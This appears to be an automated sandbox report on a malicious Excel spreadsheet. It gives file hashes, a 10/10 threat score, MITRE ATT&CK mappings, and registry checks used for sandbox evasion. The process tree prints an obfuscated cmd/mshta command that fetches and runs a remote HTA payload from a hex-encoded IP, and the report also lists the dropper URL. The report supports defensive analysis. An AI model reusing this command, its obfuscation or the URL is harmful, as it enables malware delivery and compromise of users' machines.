a3558b4d86882c0f07febfab8f2c47bd5efd348f903e653489053c430976930c

Analysis

max time kernel
133s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20/11/2024, 02:31

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General

Target

a3558b4d86882c0f07febfab8f2c47bd5efd348f903e653489053c430976930c.xls
Size

115KB
MD5

b5c6cb4448864d8fbed833964d06a497
SHA1

0ae15a2928af447bc73ae8d3838e00471dbcb62c
SHA256

a3558b4d86882c0f07febfab8f2c47bd5efd348f903e653489053c430976930c
SHA512

e22d38e8b336adcb1221600640bd8200cbfe3d220fd2a4d9a9e94d5d23e653340fd8b30c1f38ec7b282f8f863f51bbf8bf816568eab7a724aca4d9f2965fd523
SSDEEP

3072:Me+nBqmKk3hbdlylKsgqopeJBWhZFGkE+cMLxAAImxe53lGvFTQ3IzxgdrvxpU0f:z+nBqmKk3hbdlylKsgqopeJBWhZFVE+m

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe7.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4604	3428	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	2832	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3428	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3428 wrote to memory of 4604	3428	EXCEL.EXE	86
PID 3428 wrote to memory of 4604	3428	EXCEL.EXE	86
PID 4604 wrote to memory of 2832	4604	cmd.exe	88
PID 4604 wrote to memory of 2832	4604	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a3558b4d86882c0f07febfab8f2c47bd5efd348f903e653489053c430976930c.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3428
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe7.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4604
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe7.html
    3⤵
    - Blocklisted process makes network request
    PID:2832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
ec34585896d78a19b7747fee0b6aa7fe

SHA1
3233930c867b3bef499b42c728f121573a9ec462

SHA256
e2906504bdd2c9589589daf519d68d485dfe96f1e9fe0f0db9bd48fd93666951

SHA512
6e54ea6703ab5855fd22edeb0e38cf54ecbcbb561ae4a2611f5be1c249edce48ed0f089bbd79d7095d89ec3b65fa8353d87792a94da3c77d356d12a0163dd546

Download Submit
memory/3428-7-0x00007FF858890000-0x00007FF8588A0000-memory.dmp

Filesize
64KB

Download
memory/3428-10-0x00007FF898810000-0x00007FF898A05000-memory.dmp

Filesize
2.0MB

Download
memory/3428-2-0x00007FF858890000-0x00007FF8588A0000-memory.dmp

Filesize
64KB

Download
memory/3428-4-0x00007FF898810000-0x00007FF898A05000-memory.dmp

Filesize
2.0MB

Download
memory/3428-5-0x00007FF858890000-0x00007FF8588A0000-memory.dmp

Filesize
64KB

Download
memory/3428-6-0x00007FF898810000-0x00007FF898A05000-memory.dmp

Filesize
2.0MB

Download
memory/3428-8-0x00007FF898810000-0x00007FF898A05000-memory.dmp

Filesize
2.0MB

Download
memory/3428-0-0x00007FF858890000-0x00007FF8588A0000-memory.dmp

Filesize
64KB

Download
memory/3428-1-0x00007FF858890000-0x00007FF8588A0000-memory.dmp

Filesize
64KB

Download
memory/3428-11-0x00007FF8567A0000-0x00007FF8567B0000-memory.dmp

Filesize
64KB

Download
memory/3428-9-0x00007FF898810000-0x00007FF898A05000-memory.dmp

Filesize
2.0MB

Download
memory/3428-12-0x00007FF898810000-0x00007FF898A05000-memory.dmp

Filesize
2.0MB

Download
memory/3428-13-0x00007FF898810000-0x00007FF898A05000-memory.dmp

Filesize
2.0MB

Download
memory/3428-14-0x00007FF898810000-0x00007FF898A05000-memory.dmp

Filesize
2.0MB

Download
memory/3428-15-0x00007FF8567A0000-0x00007FF8567B0000-memory.dmp

Filesize
64KB

Download
memory/3428-26-0x00007FF898810000-0x00007FF898A05000-memory.dmp

Filesize
2.0MB

Download
memory/3428-3-0x00007FF8988AD000-0x00007FF8988AE000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads